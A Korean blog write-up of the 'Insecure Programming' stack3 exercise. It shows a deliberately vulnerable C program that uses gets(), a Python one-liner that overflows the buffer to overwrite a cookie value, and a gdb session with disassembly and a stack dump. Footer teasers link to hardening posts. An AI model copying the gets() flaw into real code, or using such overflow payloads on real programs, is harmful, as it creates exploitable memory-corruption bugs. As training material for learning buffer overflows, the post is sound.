기본 콘텐츠로 건너뛰기

Insecure-programming-stack3

Insecure-programming-stack3

Insecure Programming by example

Stack 3

#include <stdio.h>

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x01020005)
		printf("you win!\n");
}

stack2와 거의 동일하다 변경된 것은 cookie 값에 0x03 대신 0x00이 포함되어 있다는 것이다. 이는 stack2에서와 같이 python 코드를 작성하여 해결이 가능하다.

$ python -c "print ('\x05'+'\x00'+'\x02'+'\x01')*21" | ./stack3.exe
buf: 0028fe6c cookie: 0028febc
you win!

gdb 디버깅을 위해서 입력 값 파일을 생성하자.

$ python -c "print ('\x05'+'\x00'+'\x02'+'\x01')*21" > stack3_input

다른 특이사항이 없으므로 코드만 눈으로 읽고 지나가자.

(gdb) set disassembly-flavor intel
(gdb) b main
Breakpoint 1 at 0x401603
(gdb) r
Starting program: D:\011. ETC\deadbits\stack3.exe
[New Thread 11276.0x1d1c]

Breakpoint 1, 0x00401603 in main ()
(gdb) disas
Dump of assembler code for function main:
   0x00401600 <+0>:     push   ebp
   0x00401601 <+1>:     mov    ebp,esp
=> 0x00401603 <+3>:     and    esp,0xfffffff0
   0x00401606 <+6>:     sub    esp,0x70
   0x00401609 <+9>:     call   0x4017d0 <__main>
   0x0040160e <+14>:    lea    eax,[esp+0x6c]
   0x00401612 <+18>:    mov    DWORD PTR [esp+0x8],eax
   0x00401616 <+22>:    lea    eax,[esp+0x1c]
   0x0040161a <+26>:    mov    DWORD PTR [esp+0x4],eax
   0x0040161e <+30>:    mov    DWORD PTR [esp],0x404044
   0x00401625 <+37>:    call   0x4026d4 <printf>
   0x0040162a <+42>:    lea    eax,[esp+0x1c]
   0x0040162e <+46>:    mov    DWORD PTR [esp],eax
   0x00401631 <+49>:    call   0x4026ec <gets>
   0x00401636 <+54>:    mov    eax,DWORD PTR [esp+0x6c]
   0x0040163a <+58>:    cmp    eax,0x1020005
   0x0040163f <+63>:    jne    0x40164d <main+77>
   0x00401641 <+65>:    mov    DWORD PTR [esp],0x40405c
   0x00401648 <+72>:    call   0x4026cc <puts>
   0x0040164d <+77>:    mov    eax,0x0
   0x00401652 <+82>:    leave
   0x00401653 <+83>:    ret
   0x00401654 <+84>:    xchg   ax,ax
   0x00401656 <+86>:    xchg   ax,ax
   0x00401658 <+88>:    xchg   ax,ax
   0x0040165a <+90>:    xchg   ax,ax
   0x0040165c <+92>:    xchg   ax,ax
   0x0040165e <+94>:    xchg   ax,ax
End of assembler dump.
(gdb) b *main+58
Breakpoint 2 at 0x40163a
(gdb) delete 1
(gdb) r < stack3_input
The program being debugged has been started already.
Start it from the beginning? (y or n) [answered Y; input not from terminal]
Starting program: D:\011. ETC\deadbits\stack3.exe < stack3_input
[New Thread 5032.0x275c]

Breakpoint 2, 0x0040163a in main ()
(gdb) x/32x $esp
0x28fe50:       0x0028fe6c      0x0028fe6c      0x0028febc      0x00401687
0x28fe60:       0x00401740      0x75883021      0x0028fe70      0x01020005
0x28fe70:       0x01020005      0x01020005      0x01020005      0x01020005
0x28fe80:       0x01020005      0x01020005      0x01020005      0x01020005
0x28fe90:       0x01020005      0x01020005      0x01020005      0x01020005
0x28fea0:       0x01020005      0x01020005      0x01020005      0x01020005
0x28feb0:       0x01020005      0x01020005      0x01020005      0x01020005
0x28fec0:       0x00000000      0x005c178c      0x0028ff88      0x004013eb
(gdb) c
Continuing.
buf: 0028fe6c cookie: 0028febc
you win!
[Inferior 1 (process 5032) exited normally]

전체 목록 보기 : Insecure programming
진행 환경 : Windows7 MSYS32

이 블로그의 인기 게시물

Remove-Server-Header

응답 메시지 내 서버 버전 정보 제거 1. Apache 1) 조치 방법 “/etc/htpd/conf/httpd.conf” 파일 안에서 1. ServerTokens OS → ServerTokens Prod 2. ServerSignature On → ServerSignature Off 로 변경한 후 아파치를 재시작하면 헤더 값의 아파치 버전 정보 및 OS 정보를 제거할 수 있다. 2) 참고 URL http://zetawiki.com/wiki/CentOS_ 아파치_보안권장설정_ServerTokens_Prod,_ServerSignature_Off 2. IIS 1) 조치 방법 IIS 6.0 urlscan_setup 실행. 설치. \windows\system32\inetsrv\urlscan\urlscan.ini 파일을 열어 다음 수정(RemoveServerHeader=0 을 RemoveServerHeader=1 로 변경) 서비스에서 IIS Admin Service 재시작. IIS 7.0 IIS 관리자를 열고 관리하려는 수준으로 이동합니다. 기능 보기에서 HTTP 응답 헤더를 두 번 클릭합니다. HTTP 응답 헤더 페이지에서 제거할 헤더를 선택합니다. 작업 창에서 제거를 클릭하고 예를 클릭합니다. 2) 참고 URL IIS 6.0 : http://gonnie.tistory.com/entry/iis6- 응답헤더-감추기 IIS 7.0 : https://technet.microsoft.com/ko-kr/library/cc733102(v=ws.10).aspx 3. jetty 1) 조치 방법 “jetty.xml” 파일에서 jetty.send.server.version=false 설정 2) 참고 URL http://attenuated-perspicacity.blogspot.kr/2009/09/jetty-61x-hardening.html 4. Nginx

X-Frame-Options-Test

X-Frame-Options 테스트하기 X-Frame-Options 페이지 구성 시 삽입된 프레임의 출처를 검증하여 허용하지 않는 페이지 URL일 경우 해당 프레임을 포함하지 않는 확장 응답 헤더이다. 보안 목적으로 사용되는 확장 헤더로 아직 적용되지 않은 사이트들이 많지만 앞으로 점차 적용될 것으로 보인다. X-Frame OptionsDENY, SAMEORIGIN, ALLOW-FROM 옵션을 이용하여 세부 정책을 설정한다. 옵션 설명 DENY Frame 비허용 SAMEORIGIN 동일한 ORIGIN에 해당하는 Frame만 허용 ALLOW-FROM 지정된 ORIGIN에 해당하는 Frame만 허용 크롬 4.1 , IE 8 , 오페라 10.5 , 사파리 4.0 , 파이어폭스 3.6.9 이상에서는 DENY , SAMEORIGIN 이 적용되며, ALLOW-FROM 은 각 브라우저 마다 지원 현황이 다르다. https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Frame-Options 해당 확장헤더는 브라우저에서 처리하는 응답 헤더이므로 미지원 브라우저 사용 시 설정과 무관하게 페이지 내 포함된 모든 Frame을 출력한다. (검증 테스트: Opera 5.0.0) 테스트 코드 DENY <!DOCTYPE html> < html lang = "en" > < head > < meta http-equiv = "X-Frame-Options" content = "deny" /> < title > Deny option Test </ title > </ head > < bod

데일 카네기 인간관계론 정리